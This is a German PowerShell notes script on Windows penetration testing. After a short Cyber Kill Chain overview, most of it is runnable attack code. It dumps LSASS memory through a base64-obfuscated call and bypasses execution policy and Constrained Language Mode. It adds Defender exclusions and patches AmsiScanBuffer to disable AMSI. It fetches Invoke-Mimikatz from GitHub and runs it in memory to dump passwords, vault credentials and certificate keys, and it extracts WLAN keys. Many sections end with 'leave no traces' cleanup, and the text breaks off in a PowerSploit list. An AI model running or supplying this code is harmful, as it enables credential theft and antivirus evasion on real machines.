Private/Wissen/X_Technology/X05_Hacking.ps1

<#
 
# Hacking / Penetration-Testing
 
Mittels PowerShell Windows auf Schwachstellen prüfen
 
- **Hashtags** ACL SecureString Password Penetration Test Admin
- **Version** 2020.05.13
 
https://pad.disroot.org/p/psdp
 
#>


# [System.Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
# param()

# TODO Weiterführende und Nachschlage-Informationen:
# TODO - Siehe auch: C11_Sicherheit.ps1

#region Die Phasen eines Angriffs

# In der Praxis dauert es im Durchschnitt 100 Tage, bis die Anwesenheit von Angreifern in einem Unternehmens-Netzwerk bemerkt wird. In diesem Zeitraum können die Angreifer ungestört ihre Ziele verfolgen.

# Alle bösartigen Befehle werden im nicht-dauerhaften Arbeitsspeicher ausgeführt. Die Folge ist:

# - Die Erkennung durch Malware-Scanner wird erschwert

# - Durch diese Flüchtigkeit das sammeln von Beweismittel behindert

# - Die spätere forensische Untersuchung erschwert

#region Die Phasen eines Angriffs (Cyber Kill Chain nach Lockheed Martin)

# 1. Aufklärung (Reconnaissance) :: Hier wählt der Angreifer sein Ziel aus. Sammelt Informationen. Versucht, Schwachstellen in seinem Zielnetzwerk zu identifizieren.

# 2. Bewaffnung (Weaponization) :: Der Angreifer erstellt eine Schad-Software (Malware), maßgeschneidert auf eine spezifische Schwachstelle seines Ziels.

# 3. Auslieferung (Delivery) :: Der Angreifer sendet den Schadcode zu seinem Ziel, etwa als E-Mail-Anhang oder über USB-Sticks.

# 4. Ausnutzung (Exploitation) :: Es wird der Schadcode der vorbereiteten Schad-Software ausgeführt.

# 5. Etablierung (Installation) :: Die Malware permanent auf dem Zielrechner installiert.

# 6. Steuerung & Kontrolle (Command and Control) :: Um Daten entwenden zu können, wird ein dauerhafter Zugriff auf die Infrastruktur des Ziels eingerichtet. Es werden weitere Hintertüren installiert.

# 7. Ausbeutung (Action on Objectives) :: Der Angreifer führt die für sein eigentliches Ziel notwendigen Handlungen durch, indem er Daten stiehlt, löscht oder zur Erpressung verschlüsselt.

#endregion

#region Die unterschiedlichen Phasen im Detail

# ! Aufklärung (Reconnaissance, Information Gathering, Situational Awareness, Enumeration)

# Informationen über angegriffenen Rechner und unmittelbare Netzumgebung sammeln.

# Interessante Dateien und Daten finden, etwa Kreditkartendaten oder Geschäftsgeheimnisse.

# ! Steuerung (Command and Control, Code Execution)

# Einen oder mehrere übernommene Rechner fernsteuern.

# ! Persistenz (Persistence, Backdooring)

# Dauerhaften unbemerkten Zugriff auf ein System einrichten.

# Mindestens auf einen Rechner im Zielnetzwerk permanenten Zugriff halten.

# ! Datendiebstahl (Credential Theft, Asset Discovery)

# Vertrauliche Informationen, geistiges Eigentum, oder Zugangsdaten wie Benutzernamen, Passwörter und Passwort-Hashes auslesen.

# ! Rechteerweiterung (Privilege Escalation)

# Von einem normalen Benutzerzugang mit eingeschränkten Privilegien über lokale Administrator-Befugnisse bis hin zu Domänen-Administrator-Rechten.

# ! Ausbreitung (Lateral Movement, Pivoting, Network Colonization)

# Von einem befallenen Rechner den Zugriff auf weitere Rechner ausbreiten.

# ! Spurenbeseitigung (Log Tampering)

# Spuren des Angriffs von den befallenen Systemen entfernen.

# ! Systemstörung (System Disruption, Denial of Service)

# Dienste und Systeme unmittelbar in ihrer bestimmungsgemäßen Funktion stören.

# ! Datenausschaffung (Data Exfiltration, Complete Mission)

# Gestohlene Daten unbemerkt aus dem angegriffenen Netzwerk ausschaffen.

#endregion

#endregion

#region Besitzt der Benutzer Admin-Rechte

$identity = [Security.Principal.WindowsIdentity]::GetCurrent()
$principal = New-Object -TypeName Security.Principal.WindowsPrincipal -ArgumentList $identity
$HaveAdminRights = $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
if($HaveAdminRights) {
    "JA, Admin-Rechte für $($identity.Name) vorhanden!" | Write-Warning
} else {
    "NEIN, Admin-Rechte für $($identity.Name) liegen NICHT vorhanden!" | Write-Warning
}

#endregion

#region SecureString entschlüsseln

# ! SecureString entschlüsseln:

$geheim = Read-Host -Prompt "Passphrase eingeben" -AsSecureString
"GEHEIME BOTSCHAFT LAUTET: " + [System.Runtime.InteropServices.marshal]::PtrToStringAuto([System.Runtime.InteropServices.marshal]::SecureStringToBSTR($geheim))

# ! Get-Credential entschlüsseln:

$cred = Get-Credential -Message "HR Leader" -UserName "mueller"
"BENUTZERNAME: " + $cred.UserName
"PASSWORT: " + [System.Runtime.InteropServices.marshal]::PtrToStringAuto([System.Runtime.InteropServices.marshal]::SecureStringToBSTR($cred.Password))

#endregion

#region PowerShell ScriptBlock-Code über eine .EXE-Datei ausführen

# ! Eine weitere Umgehungs­möglichkeit besteht darin, PowerShell-Scripts zu ausführbaren Dateien zu kompilieren:

Set-Location -Path "C:\Temp"

@'
using System;
using System.Diagnostics;
using System.Management.Automation;
using System.Collections.ObjectModel;
 
namespace WindowsFormsApplication1
{
    static class Program
    {
        [STAThread]
        static void Main()
        {
            var powershell = PowerShell.Create();
            powershell.AddScript("'Hallo Welt!' | Write-Output", true); // <= Auszuführender PowerShell-Code
            var pSOutput = powershell.Invoke();
            foreach (var outputItem in pSOutput)
            {
                if (outputItem != null)
                    Console.WriteLine(outputItem.BaseObject.ToString() + "\n");
            }
        }
    }
}
'@
 | Set-Content 'start.cs' -Encoding UTF8 -Force

Start-Process -FilePath "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" -ArgumentList "-target:exe", "-out:start.exe", "-reference:C:\windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll", "start.cs" # * Weitere Details zum Compiler siehe https://msdn.microsoft.com/en-us/library/78f4aasd.aspx

# ! Testen:
Get-ChildItem -Path '.\start.*'
.\start.exe

# TODO Aufräumen und keine Spuren hinterlassen:

Remove-Item -Path "C:\Temp\start.cs", "C:\Temp\start.exe" -Recurse -Force

#endregion

#region String-Code mittels Invoke-Expression ausführen (RAM to 'Function:\'-PSDrive)

# ! das Cmdlet Invoke-Expression interpretiert Text als PowerShell-Befehle und führt diese dann aus:

@'
function Out-MiniDump {
    <#
        .SYNOPSIS
        MemoryDump of a process.
 
        .PARAMETER Process
        The process object is obtained with Get-Process.
 
        .PARAMETER DumpFilePath
        Specifies the path where dump files will be written. By default, dump files are written to the current working directory. Dump file names take following form: ProcessName_id.dmp
 
        .EXAMPLE
        Out-MiniDump -Process (Get-Process -Id 4293)
        Get-Process lsass | Out-MiniDump
        Get-Process | Out-MiniDump -DumpFilePath C:\Temp
 
        .INPUTS
        System.Diagnostics.Process => You can pipe a process object to Out-MiniDump.
 
        .OUTPUTS
        System.IO.FileInfo
    #>
    [CmdletBinding()]
    Param (
        [Parameter(Mandatory = $true, ValueFromPipeline = $true)]
        [System.Diagnostics.Process]
        $Process,
 
        [ValidateScript({ Test-Path $_ })]
        [String]
        $DumpFilePath = $PWD
    )
 
    BEGIN {
        $WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting')
        $WERNativeMethods = $WER.GetNestedType('NativeMethods', 'NonPublic')
        $Flags = [Reflection.BindingFlags]'NonPublic, Static'
        $MiniDumpWriteDump = $WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags)
        $MiniDumpWithFullMemory = [UInt32]2
    }
 
    PROCESS {
        $ProcessId = $Process.Id
        $ProcessName = $Process.Name
        $ProcessHandle = $Process.Handle
        $ProcessFileName = "$($ProcessName)_$($ProcessId).dmp"
        $ProcessDumpPath = Join-Path $DumpFilePath $ProcessFileName
 
        $FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create)
        $code = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("JFJlc3VsdCA9ICRNaW5pRHVtcFdyaXRlRHVtcC5JbnZva2UoJG51bGwsIEAoJFByb2Nlc3NIYW5kbGUsICRQcm9jZXNzSWQsICRGaWxlU3RyZWFtLlNhZmVGaWxlSGFuZGxlLCAkTWluaUR1bXBXaXRoRnVsbE1lbW9yeSwgW0ludFB0cl06Olplcm8sIFtJbnRQdHJdOjpaZXJvLCBbSW50UHRyXTo6WmVybykp"));
        Invoke-Expression -Command $code
 
        $FileStream.Close()
 
        if (-not $Result) {
            $Exception = New-Object ComponentModel.Win32Exception
            $ExceptionMessage = "$($Exception.Message) ($($ProcessName):$($ProcessId))"
            Remove-Item $ProcessDumpPath -ErrorAction SilentlyContinue
             Write-Error -Exception $ExceptionMessage
        }
        else {
            Get-ChildItem $ProcessDumpPath
        }
    }
 
    END {}
}
'@
 | Invoke-Expression

Get-Command -Name 'Out-MiniDump'

Get-Process -Name "lsass" | Out-MiniDump -DumpFilePath "c:\temp\" # LSASS => Local Security Authority Subsystem Service

Get-ChildItem -Path "C:\Temp\lsass_*.dmp"

Get-Content -Path 'C:\Temp\lsass_1044.dmp'

# TODO Aufräumen und keine Spuren hinterlassen:

Remove-Item -Path "C:\Temp\lsass_*.dmp", "Function:\Out-MiniDump" -Force

#endregion

#region Bestehende restriktive Ausführungsrichtlinien (Execution Policy) aushebeln

# TODO Vorbereitung:

'"Code-Ausführung der Ausführbaren-Datei Test.ps1 erfolgreich!" | Write-Warning' | Out-File -FilePath "C:\Temp\Test.ps1" -Force
Set-ExecutionPolicy -ExecutionPolicy "Restricted" -Scope "Process"      -Force
Set-ExecutionPolicy -ExecutionPolicy "Restricted" -Scope "CurrentUser"  -Force
Set-ExecutionPolicy -ExecutionPolicy "Restricted" -Scope "LocalMachine" -Force
Get-ExecutionPolicy -List

# ! NICHT Erlaubt
& 'C:\Temp\Test.ps1'

# * ERLAUBT
Get-Content -Path 'C:\Temp\test.ps1' | powershell.exe -NoProfile -

# * ERLAUBT
powershell.exe -NoProfile -ExecutionPolicy ByPass
& 'C:\Temp\Test.ps1'
exit

# TODO Aufräumen und keine Spuren hinterlassen:

Set-ExecutionPolicy -ExecutionPolicy "RemoteSigned" -Scope "Process"      -Force
Set-ExecutionPolicy -ExecutionPolicy "RemoteSigned" -Scope "CurrentUser"  -Force
Set-ExecutionPolicy -ExecutionPolicy "RemoteSigned" -Scope "LocalMachine" -Force
Get-ExecutionPolicy -List

Remove-Item -Path "C:\Temp\Test.ps1"

#endregion

#region Die dauerhafte (per Umgebungs-Variable) 'Constrained Language Mode'-Einschränkung umgehen

# TODO Vorbereitung:

# ? Den 'Constrained Language Mode' DAUERHAFT aktivieren:
[Environment]::SetEnvironmentVariable("__PSLockDownPolicy", "4", "Machine") # 1 => FullLanguage
$env:__PSLockDownPolicy
$Host.Runspace.LanguageMode

# ! Die Folge ist, das jeder PowerShell-Host (Console, ISE, VSCode, etc.) im eingeschränkten Modus startet und z.B. folgendes nicht möglich ist:

[System.Diagnostics.Stopwatch]::GetTimestamp()

# ! Hacker-Attacke:

New-Item -Path "C:\System32" -ItemType "Directory" -Force

@'
Write-Host ($Host.Runspace.LanguageMode)
[System.Diagnostics.Stopwatch]::GetTimestamp() | Out-Host
'@
 | Out-File -FilePath "C:\System32\ByPass.psm1" -Force

Import-Module -Name "C:\System32\ByPass.psm1" -Force

# TODO Aufräumen und keine Spuren hinterlassen:

Remove-Item -Path "C:\System32\ByPass.psm1", "C:\System32" -Force

[Environment]::SetEnvironmentVariable("__PSLockDownPolicy", "1", "Machine")

#endregion

#region Scan-Ausnahmen für Windows Defender definieren

# ! Den Ordner C:\Temp als Ausnahme im Windows Defender hinterlegen

New-Item -Path "C:\Temp" -ItemType "Directory" -Force

Add-MpPreference -ExclusionPath "C:\Temp" -Force

Set-Location -Path "C:\Temp"

# TODO Aufräumen und keine Spuren hinterlassen:

# ! Die Ausnahme für den Ordner C:\Temp wieder aufheben.

Remove-MpPreference -ExclusionPath "C:\Temp" -Force

#endregion

#region Bösartige Scripte downloaden und den Virenscanner umgehen / überlisten (AMSI-Bypass)

# ! Verschiedene Amsi-Bypass-Powershell-Verfahren werden hier erläutert https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

# ! Carrie Roberts (https://www.blackhillsinfosec.com/bypass-anti-virus-run-mimikatz/) demonstriert, wie man die meisten Virenscanner durch Suchen und Ersetzen einiger markanter Stellen überlisten kann.

# ! Mit https://www.virustotal.com können Sie Dateien prüfen und erhalten eine Erkennungsrate der diversen Virenscanner.

# ! Schon der Url wird vom Viren-Scanner (Windows Defender) erkannt:

$url = "https://raw.githubusercontent.com/BC-SECURITY/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1"

# * Lösung:

$url = "https://raw.githubusercontent.com/BC-SECURITY/Empire/master/data/module_source/credentials/Invoke-Mimi" + "katz.ps1"

# ! Jetzt wird jedoch der Download vom Virenscanner erkannt:

Invoke-WebRequest -Uri $url -OutFile "C:\Temp\Invoke-Mimikatz.ps1"

# TODO Lösung: AntiMalware Scan Interface temporär manipulieren:

Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@


$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")

$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")

$p = 0

[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)

[System.Runtime.InteropServices.Marshal]::Copy([Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3), 0, $Address, 6)

# ! Der Download ist jetzt möglich:

Invoke-WebRequest -Uri $url -OutFile 'C:\Temp\Invoke-MimiKatz.ps1'

# ! Jetzt können wir jedoch nicht auf die Datei zugreifen da dieser wieder vom Virenscanner verhindert wird:

& ("C:\Temp\Invoke-Mimi" + "Katz.ps1")

# TODO Lösung: Das Script als String im RAM downloaden und mittels Invoke-Expression in function:\ materialisieren:

$ScriptContent = Invoke-WebRequest -Uri $url | Select-Object -ExpandProperty "Content"

Invoke-Expression -Command $ScriptContent

Get-Command -Name 'Invoke-Mimikatz'

Get-Help -Name "Invoke-Mimikatz" -ShowWindow # Beschreibung von MimiKatz unter https://github.com/gentilkiwi/mimikatz

# TODO Aufräumen und keine Spuren hinterlassen:

Remove-Item -Path "Function:\Invoke-Mimikatz" -Force

Remove-Variable -Name "url", "LoadLibrary", "Address", "p", "ScriptContent" -Force

#endregion

#region Kennwörter und Zertifikate mit Invoke-Mimikatz auslesen

# ! 1. Arbeitsverzeichnis einrichten:

(New-Item -Path "C:\Temp" -ItemType "Directory" -Force).FullName | Set-Location

# ! 2. AMSI-Bypass etablieren:

Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
Start-Sleep -Seconds 1
[System.Runtime.InteropServices.Marshal]::Copy([Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3), 0, $Address, 6)

# ! 3. Invoke-WebRequest downloaden und in function:\ materialisieren:

$url = 'https://github.com/samratashok/nishang/raw/master/Gather/Invoke-Mimi' + 'katz.ps1'
#$url = 'https://raw.githubusercontent.com/BC-SECURITY/Empire/master/data/module_source/credentials/Invoke-Mimi' + 'katz.ps1'
Invoke-Expression -Command ( Invoke-WebRequest -Uri $url | Select-Object -ExpandProperty "Content" )

# ! 4. Invoke-Mimikatz benutzen (https://github.com/gentilkiwi/mimikatz):

Get-Help -Name "Invoke-Mimikatz" -ShowWindow

# ! 4.1. Passwörter angemeldeter Benutzer auslesen:

# TODO TESTSITUATION (User-Password):

New-LocalUser -Name "Peter" -Password (Read-Host -Prompt "Passwort für Peter" -AsSecureString) -AccountExpires (Get-Date).AddHours(5) -PasswordNeverExpires -UserMayNotChangePassword
$CredPeter = Get-Credential -Message "Für localhost" -UserName "Peter"
Start-Process -FilePath "C:\Windows\notepad.exe" -Credential $CredPeter

# ! AUSWERTUNG:

Invoke-Mimikatz -DumpCreds | Out-File "C:\Temp\Overview_All_Passwords.txt"
 Get-Content -Path "C:\Temp\Overview_All_Passwords.txt" | Select-String -Pattern "(Username|Password)"

# ! 4.2. Zertifikate mit privaten Schlüssel exportieren:

# TODO TESTSITUATION (User-Certificates):

$params = @{
    Subject           = "CN=_Peter_Admin (PS Developer), E=p.admin@abc.local"
    HashAlgorithm     = "SHA512"
    KeyExportPolicy   = [Microsoft.CertificateServices.Commands.KeyExportPolicy]::ExportableEncrypted
    CertStoreLocation = "Cert:\CurrentUser\My"
    Type              = [ Microsoft.CertificateServices.Commands.CertificateType]::CodeSigningCert
    NotAfter          = (Get-Date).AddDays(2)
}
New-SelfSignedCertificate @params

# ! AUSWERTUNG:

Invoke-Mimikatz -DumpCerts

Get-ChildItem -Path "C:\Temp\*_Peter_Admin (PS Developer).pfx" | Select-Object -ExpandProperty FullName # ! Passwort ist: mimikatz

# ! 4.3. Weitere Auswertung diverse Passwort-Stores (ACHTUNG NICHT DRITTE AUF DEN MONITOR SCHAUEN LASSEN - NICHTS FÜR SCHWACHE NERVEN):

Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::tspkg"'
Invoke-Mimikatz -Command "vault::list"
Invoke-Mimikatz -Command "vault::cred"
Invoke-Mimikatz -Command "crypto::keys /export"

# TODO Aufräumen und keine Spuren hinterlassen:

Remove-Item -Path "C:\Temp\*.der", "C:\Temp\*.pfx", "C:\Temp\Overview_All_Passwords.txt" -Recurse -Force
Get-ChildItem -Path "Cert:\" -Recurse | Where-Object -Property "Subject" -ceq "CN=_Peter_Admin (PS Developer), E=p.admin@abc.local" | Remove-Item -Force
Remove-LocalUser -Name "Peter"
Remove-Item -Path "Function:\Invoke-Mimikatz" -Force
Remove-Variable -Name "PfxFullName", "pfxCert", "params", "CredPeter", "url", "p", "Address", "LoadLibrary"
Set-Location -Path "$env:USERPROFILE"

#endregion

#region WLAN-Profile auslesen inkl. PSK

$WLans = netsh wlan show profiles | Select-String -Pattern "Profil für alle Benutzer" | Foreach-Object -Process { $_.ToString() }

$exportdata = $WLans | Foreach-Object { $_.Replace(" Profil für alle Benutzer : ", $null) }

$exportdata | ForEach-Object { netsh wlan show profiles name="$_" key=clear } | Out-File -FilePath "C:\Temp\WLanProfiles.log"

Get-ChildItem -Path "C:\Temp\WLanProfiles.log" | Get-Content

# TODO Aufräumen und keine Spuren hinterlassen:

Remove-Item -Path "Variable:\WLans", "Variable:\exportdata", "C:\Temp\WLanProfiles.log" -Force

#endregion

#region Umgehung durch alternative Shells

# ! Powershell CLM Bypass Using Runspaces
# ! https://www.secjuice.com/powershell-constrainted-language-mode-bypass-using-runspaces/

# TODO Arbeitsbereitschaft herstellen:

Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@


$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
[System.Runtime.InteropServices.Marshal]::Copy([Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3), 0, $Address, 6)
$WorkDirectoryBackup = Get-Location
New-Item -Path 'c:\Temp' -ItemType Directory -Force | Select-Object -ExpandProperty 'FullName' | Set-Location
Add-MpPreference -ExclusionPath 'C:\Temp' -Force

#region # ? p0wnedShell

# * SYNOPSIS p0wnedShell ist eine in C# geschriebene PowerShell-Hostanwendung die nicht auf powershell.exe basiert.
# * LAST UPDATE 2019
# * SOURCE https://github.com/Cn33liz/p0wnedShell
# * DESCRIPTION
<#
    p0wnedShell ist eine in C # geschriebene PowerShell-Hostanwendung, die nicht auf powershell.exe basiert,
    sondern powershell-Befehle und -Funktionen in einer Powershell-Runspace-Umgebung (.NET) ausführt. Es enthält viele
    PowerShell-Module und Binärdateien, um den Prozess der Nachnutzung zu vereinfachen. Wir haben versucht,
    ein „All-in-One“ -Post-Exploitation-Tool zu entwickeln, mit dem wir alle Abhilfemaßnahmen (oder zumindest einige davon)
    umgehen können, und das alle relevanten Tools enthält. Sie können es verwenden, um moderne Angriffe in
    Active Directory-Umgebungen auszuführen und das Bewusstsein Ihres Blue-Teams zu stärken,
    damit es die richtigen Verteidigungsstrategien entwickeln kann.
#>


# ! p0wnedShell etablieren:

Invoke-WebRequest -Uri "https://github.com/Cn33liz/p0wnedShell/archive/master.zip" -OutFile "C:\Temp\p0wnedShell.zip"
Expand-Archive -Path "C:\Temp\p0wnedShell.zip" -DestinationPath "c:\temp" -Force
Rename-Item -Path "C:\Temp\p0wnedShell-master" -NewName "p0wnedShell" -Force
Get-ChildItem -Path C:\temp\p0wnedShell -Recurse
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Temp\p0wnedShell\p0wnedShell.sln /t:Rebuild /p:Configuration=Release /p:Platform=X64
Start-Process -FilePath  "C:\Temp\p0wnedShell\p0wnedShell\bin\x64\Release\p0wnedShell.exe"

#endregion

#region # ? PowerOPS

# ! ACHTUNG: Stand 30.01.2020 unter Windows 10 ist PowerOPS unbrauchbar da es von Defender erkannt wird.

# * SYNOPSIS Tragbares PowerShell Runspace-Tool zum Penetration-Test
# * LAST UPDATE 2019
# * SOURCE https://github.com/fdiskyou/PowerOPS
# * DESCRIPTION
<#
    PowerOPS ist eine in C# geschriebene Anwendung, die nicht auf powershell.exe basiert, sondern PowerShell-Befehle und -Funktionen
    in einer Powershell-Runspace-Umgebung (.NET) ausführt. Es ist beabsichtigt, mehrere PowerShell-Module zu integrieren,
    um den Prozess der Nachnutzung zu vereinfachen. Es versucht, dem KISS-Prinzip zu folgen und so einfach wie möglich zu sein.
    Das Hauptziel besteht darin, die offensive Verwendung von PowerShell zu vereinfachen und die Umgehung von
    Virenschutz- und anderen Schadensbegrenzungslösungen zu unterstützen.
 
    Dies geschieht durch: - Es ist nicht auf powershell.exe angewiesen, sondern ruft PowerShell direkt über das .NET-Framework auf,
                            wodurch möglicherweise Sicherheitskontrollen wie GPO, SRP und App Locker umgangen werden.
                          - Die Nutzdaten werden aus dem Speicher ausgeführt und berühren niemals die Festplatte,
                            wodurch die meisten Antiviren-Engines umgangen werden.
                          - PowerOPS wurde von Cn33liz / p0wnedShell inspiriert.
#>


Invoke-WebRequest -Uri "https://github.com/fdiskyou/PowerOPS/archive/master.zip" -OutFile "C:\Temp\PowerOPS.zip"
Expand-Archive -Path "C:\Temp\PowerOPS.zip" -DestinationPath "c:\temp" -Force
Rename-Item -Path "C:\Temp\PowerOPS-master" -NewName "PowerOPS" -Force
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Temp\PowerOPS\PowerOPS.sln /t:Rebuild /p:Configuration=Release /p:Platform=X64
Start-Process -FilePath  "C:\Temp\PowerOPS\PowerOPS\bin\x64\Release\PowerOPS.exe"

#endregion

#region # ? PS>Attack

<#
https://github.com/jaredhaight/PSAttack
PS>Attack von Jared Haight wurde im März 2016 auf der Konferenz CarolinaCon vorgestellt [16, S. 1-2].
Im Gegensatz zu den bislang aufgezählten Skriptsammlungen ist PS>Attack eine kompilierte Binärdatei, die ein Angreifer auf einem übernommenen Rechner aufbringen kann. Mit dieser Binärdatei können PowerShell-Skripte selbst dann aufgerufen und interpretiert werden, wenn die Ausführung der Standard-Konsole powershell.exe gesperrt wurde. Denn PS>Attack bindet eine tiefer liegende Komponente des Betriebssystems zur PowerShell-Interpretation ein und funktioniert so unmittelbar von einer frischen Windows-7-Installation bis zu einem aktuell gepatchten Windows 10.
Mit dem PowerShell-Kommando Get-Attack können die verfügbaren Skripte innerhalb der PS>Attack-Konsole angezeigt werden.
Abbildung 8: Übersicht über in PS>Attack integrierte Module (Quelle: https://adsecurity.org/?p=2921)
In die Binärdatei von PS>Attack einkompiliert ausgeliefert werden über Hundert bekannte offensive PowerShell-Skripte, darunter ausgewählte Befehle aus PowerSploit, Nishang und PowerCat.
Damit das Post-Exploitation-Werkzeug von Malwarescannern und von Incident Respondern trotz der ausführbaren Datei, die auf den angegriffenen Rechner aufgebracht wird, dennoch nicht einfach erkannt werden kann, nutzt es einige Techniken zur Verschleierung: So sind etwa Skripte innerhalb der Binärdatei von PS>Attack verschlüsselt gespeichert und werden erst beim Starten der Konsole in den Arbeitsspeicher entschlüsselt; dadurch landen die Angriffsskripte niemals im Klartext auf der Festplatte [16, S. 15].
#>


#endregion

#region # ? PowerShell Empire

# ! This project is no longer supported
# https://github.com/EmpireProject/Empire
# http://www.powershellempire.com
# Empire ist ein Post-Exploitation-Framework, das einen reinen PowerShell2.0-Windows-Agenten und einen reinen Python 2.6 / 2.7-Linux / OS X-Agenten enthält.

#endregion

# TODO Aufräumen und keine Spuren hinterlassen:

Remove-Module -Name "*" -Force -Verbose
Remove-MpPreference -ExclusionPath "C:\Temp" -Force
$WorkDirectoryBackup | Set-Location
Remove-Item -Path "C:\Temp" -Recurse -Force
Remove-Variable -Name "WorkDirectoryBackup", "LoadLibrary", "Address", "p" -Force

#endregion

#region Windows-Passwörter mit MimiKatz.exe auslesen

# ! Führen Sie alle PowerShell-Befehle mit privilegierten Administratoren-Rechten aus!

# TODO Den Ordner C:\Temp anlegen, als Ausnahme im Windows Defender hinterlegen und als Arbeitsverzeichnis setzen:

New-Item -Path "C:\Temp" -ItemType "Directory" -Force
Add-MpPreference -ExclusionPath "C:\Temp" -Force
Set-Location -Path "C:\Temp"

# TODO MimiKatz als 7Zip-Datei von GitHub downloaden:

[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Tls11,Tls12'
Invoke-WebRequest -Uri ("https://github.com/gentilkiwi/mimi" + "katz/releases/latest/download/mimi" + "katz_trunk.7z") -OutFile (".\mimi" + "katz_trunk.7z")

# TODO 7Zip-Modul installieren und MimiKatz zu entpacken:

Install-Module -Name "7Zip4Powershell" -Scope "CurrentUser" -Force -AllowClobber
Expand-7Zip -ArchiveFileName (".\mimi" + "katz_trunk.7z") -TargetPath ".\"

# TODO MimiKatz starten ...
Start-Process -FilePath (".\x64\mimi" + "katz.exe")
# TODO .. und folgende Befehle eingaben:
# Elevate Privileges to extract the credentials, This should give am error if you are Admin, but if it does, check if the SeDebugPrivilege was removed from Admins
# privilege::debug
# token::elevate
# Extract from lsass (memory):
# sekurlsa::logonpasswords
# Extract from SAM:
# lsadump::sam

# ! TATA Eine Übersicht angemeldeter Usern mit Benutzername, Passwörter Hash-Werten

# TODO Aufräumen und keine Spuren hinterlassen:

Remove-Item -Path "C:\Temp\*" -Recurse -Force
Remove-Module -Name "7Zip4Powershell" -Force
Uninstall-Module -Name "7Zip4Powershell" -Force
Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential" -Force
Remove-MpPreference -ExclusionPath "C:\Temp" -Force
Set-Location -Path $env:USERPROFILE

#endregion

#region Hacking-Tools für PowerShell

# TODO Arbeitsbereitschaft herstellen:

Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
[System.Runtime.InteropServices.Marshal]::Copy([Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3), 0, $Address, 6)

$WorkDirectoryBackup = Get-Location
New-Item -Path c:\Temp -ItemType Directory -Force | Select-Object -ExpandProperty "FullName" | Set-Location
Add-MpPreference -ExclusionPath "C:\Temp" -Force

#region # ? PowerSploit

# * Letztes Update: 2016
# * Quelle: https://github.com/PowerShellMafia/PowerSploit

# * Beschreibung
<#
PowerSploit ist eine Sammlung von Microsoft PowerShell-Modulen, mit denen
Penetrations-Tester in allen Phasen einer Bewertung unterstützt werden können.
PowerSploit besteht aus folgenden Modulen und Skripten:
 
# CodeExecution
  Execute code on a target machine.
 
Invoke-DllInjection => Injects a Dll into the process ID of your choosing.
Invoke-ReflectivePEInjection => Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.
? Invoke-Shellcode => Injects shellcode into the process ID of your choosing or within PowerShell locally.
Invoke-WmiCommand => Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel.
 
# ScriptModification
  Modify and/or prepare scripts for execution on a compromised machine.
 
